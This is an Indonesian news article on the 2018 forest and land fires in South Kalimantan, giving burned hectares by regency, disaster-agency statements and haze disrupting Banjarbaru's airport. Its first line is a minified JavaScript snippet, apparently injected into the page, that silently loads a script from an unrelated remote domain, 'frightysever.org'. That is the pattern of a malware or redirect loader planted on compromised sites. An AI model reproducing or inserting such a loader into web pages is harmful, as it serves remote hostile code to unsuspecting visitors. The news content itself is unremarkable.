(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Luas lahan yang terkena dampak kebakaran hutan dan lahan (Karhutla) di sejumlah daerah di Kalsel saat ini telah mencapai 2.005 hektare yang didominasi kawasan gambut dan lahan kosong. Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kalsel, Wahyudin mengatakan, luas lahan yang terbakar itu merupakan akumulasi sejak 1 Januari hingga 14 September 2018.
“Luas lahan terbakar mencapai 2.005 hektare itu tersebar di sejumlah daerah rawan Karhutla, terutama lahan gambut yang sangat mudah terbakar di musim kemarau,” ujarnya.
Selama kurun tersebut, juga telah terjadi 552 kali kebakaran hutan dan lahan sehingga menyebabkan luas lahan terbakar mencapai ribuan hektare. Ia mengatakan, dari 13 kabupaten dan kota di Kalsel, luasan lahan terbakar paling banyak terjadi di Kota Banjarbaru yang mencapai 467,03 hektare dengan lokasi paling banyak di lahan gambut.
“Banjarbaru paling luas lahan yang terbakar dan seluruhnya berada di lahan gambut dan tersebar di beberapa titik sehingga kami masih fokus melakukan pemadaman,” ungkapnya.
Menurut Wakil Komandan I Satgas Penanggulangan Karhutla Kalsel itu, sebagaimana dilansir Antaranews.com, luas lahan gambut di Kota Banjarbaru hampir seluruhnya terbakar dan menyebabkan munculnya kabut asap. Lahan gambut terbakar terletak di kawasan Guntung Damar dengan luasan 20 hektare, Jalan Kasturi 21 hektare, Komplek Berlina Batu Besi 4 hektare dan Griya Utama Trikota 4 hektare.
“Kebakaran lahan gambut di Kota Banjarbaru berdampak besar karena kabut asap kebakaran mengganggu penerbangan Bandara Syamsudin Noor di Banjarbaru,” ucapnya.
Disebutkan, daerah lain yang banyak lahannya terbakar adalah Kabupaten Banjar seluas 418,33 hektare, Kabupaten Tapin 334,65 hektare, Kabupaten Tanah Laut 311,1 hektare.
Kemudian, Kabupaten Hulu Sungai Selatan 170,6 hektare, Hulu Sungai Utara 96 hektare, Kotabaru 47,9 hektare, Hulu Sungai Tengah 32,3 hektare dan Tanah Bumbu seluas 39 hektare. Selanjutnya, Kabupaten Balangan 45 hektare, Tabalong 28,5 hektare, Barito Kuala seluas 12,3 hektare dan Kota Banjarmasin 2 hektare sehingga total se-Kalsel mencapai 2.005,21 hektare.
“Penanganan Karhutla terus dilakukan melalui satgas darat diperkuat personel gabungan dari berbagai unsur dan satgas udara menurunkan heli pengebom air ke titik kebakaran,” katanya.
Seperti hari ini misalnya, personel BPBD Banjarbaru dibantu relawan Manggala Agni dan personel TNI/Polri kewalahan menghadapi kebakaran hutan dan lahan. Pelaksana Tugas Kepala Pelaksana BPBD Banjarbaru Ahmad Syarief Nizami di Kota Banjarbaru, Senin mengatakan, puluhan personel berupaya keras untuk memadamkan kebakaran lahan tersebut.
“Lahan yang terbakar terletak di Jalan Pengayuan Kecamatan Liang Anggang. Kobaran api muncul sejak pukul 07.00 Wita dan personel memadamkan hingga pukul 16.00 Wita,” ujarnya.
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
This website uses cookies.